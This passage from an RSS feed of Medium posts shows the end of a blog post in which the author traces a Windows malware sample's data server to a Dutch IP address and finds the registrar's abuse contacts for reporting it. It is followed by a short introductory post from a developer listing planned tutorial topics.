src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FYCM6aRw2Chenu%2Ftwitter%2Fiframe&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FYCM6aRw2Chenu%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FYCM6aRw2Chenu%2F200.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="247" frameborder="0" scrolling="no"><a href="https://medium.com/media/6e4e4e319c2383cd0e17d143219f7ed0/href">https://medium.com/media/6e4e4e319c2383cd0e17d143219f7ed0/href</a></iframe><h4>Curious to know where the data ends up?</h4><p>I place the URL on my browser and this is what I get.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WGD1vBPN62_pPkPq5UfxnQ.png" /></figure><p><strong><em>The server is down!</em></strong> That’s good news. They must have been taken down. But that’s not quite.</p><blockquote>I decide to go even deeper into the rabbit hole in order to get the server’s info.</blockquote><h4>Server Info ( <a href="http://domenjob.com/">http://domenjob.com</a>)</h4><p>I head over to <a href="https://ipinfo.info/html/ip_checker.php"><strong><em>IP checker</em></strong></a><strong><em> </em></strong>to get the full server details and this is what i find:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gKyGVYEKqUjMGmcUMbPRMQ.png" /></figure><blockquote>IP Address: 81.171.14.67</blockquote><blockquote>Geolocation: NL (Netherlands)</blockquote><p>So the server is located in the <strong><em>Netherlands </em></strong>and now we have the <strong>public IP</strong>. That’s close enough to find their identity.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a7cf02b762828373c2d88f6dacf3ec77/href">https://medium.com/media/a7cf02b762828373c2d88f6dacf3ec77/href</a></iframe><p>So they have not been shut down but have <strong>temporarily shut it down</strong> since their registry expires in 2019.</p><blockquote>Registrar Abuse Contact Email: abuse@dynadot.com</blockquote><blockquote>Registrar Abuse Contact Phone: +16502620100</blockquote><p>Now we have the contacts to report the <strong>Hackers</strong>.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fl1J9qTpz3zOw3eo7K%2Ftwitter%2Fiframe&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fl1J9qTpz3zOw3eo7K%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2Fl1J9qTpz3zOw3eo7K%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="217" frameborder="0" scrolling="no"><a href="https://medium.com/media/cead91b60d516acd98c8900a4034f7d9/href">https://medium.com/media/cead91b60d516acd98c8900a4034f7d9/href</a></iframe><p>To be continued…</p><figure><a href="https://www.buymeacoffee.com/GeoffDeveloper"><img alt="" src="https://cdn-images-1.medium.com/max/400/1*Ql4uAvVggfVc2TDPuVxw1Q.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a771d01c98" width="1" height="1" alt=""><hr><p><a href="https://medium.com/hackernoon/deep-dive-into-a-windows-malware-rabbit-hole-8a771d01c98">Deep dive into a windows malware rabbit hole 👾</a> was originally published in <a href="https://medium.com/hackernoon">HackerNoon.com</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hello World, I’m Geoffrey the Developer]]></title>
            <link>https://geoffreymahugu.medium.com/hello-world-im-geoffrey-the-developer-129f77941342?source=rss-d7e5274e68a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/129f77941342</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[angular]]></category>
            <category><![CDATA[mpesa]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Geoffrey Mahugu]]></dc:creator>
            <pubDate>Fri, 23 Nov 2018 23:19:08 GMT</pubDate>
            <atom:updated>2018-11-30T10:41:06.134Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hello World, I’m Geoff the Developer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DK2dsEVxWyONoC3nwoE2uw.png" /></figure><p>This will be the beginning of a series of tutorials and documentation of my journey throughout my software development career.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pbanw3_bbslETdaWkYMmyw.png" /></figure><h3><strong>Why i’m doing this?</strong></h3><p>I remember coming out of university with a degree and asking myself <strong>what next?</strong> Almost four years later and here i am; Ready to give back to the community and share what i have learnt and also to let you know of the <strong>foolish mistakes</strong> that you should avoid as a young developer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HRVFeyBU0NHBzr036uMCbg.gif" /><figcaption>i’ts about time</figcaption></figure><h3><strong>What next?</strong></h3><p>Will be posting tutorials from things that i have learned and things that i’m currently working on. Here are some of the things to expect:</p><blockquote>i. Angular 7 Framework</blockquote><blockquote>ii. Python from Beginner to Advanced.</blockquote><blockquote>iii. Django Framework</blockquote><blockquote>iv. Project Deployment.</blockquote><blockquote>v. Server security</blockquote><blockquote>vi. Machine Learning</blockquote><blockquote>vii. Payments Api Integration (M-Pesa, Braintree Payments, Stripe )</blockquote><h4><strong>Get to know the latest project.</strong></h4><p>To know the latest project i’m working on, check out my Git-Hub repository at: <a href="https://github.com/GeoffMahugu">https://github.com/GeoffMahugu</a></p><p>And follow me on Twitter @GeoffreyMahugu</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=129f77941342" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>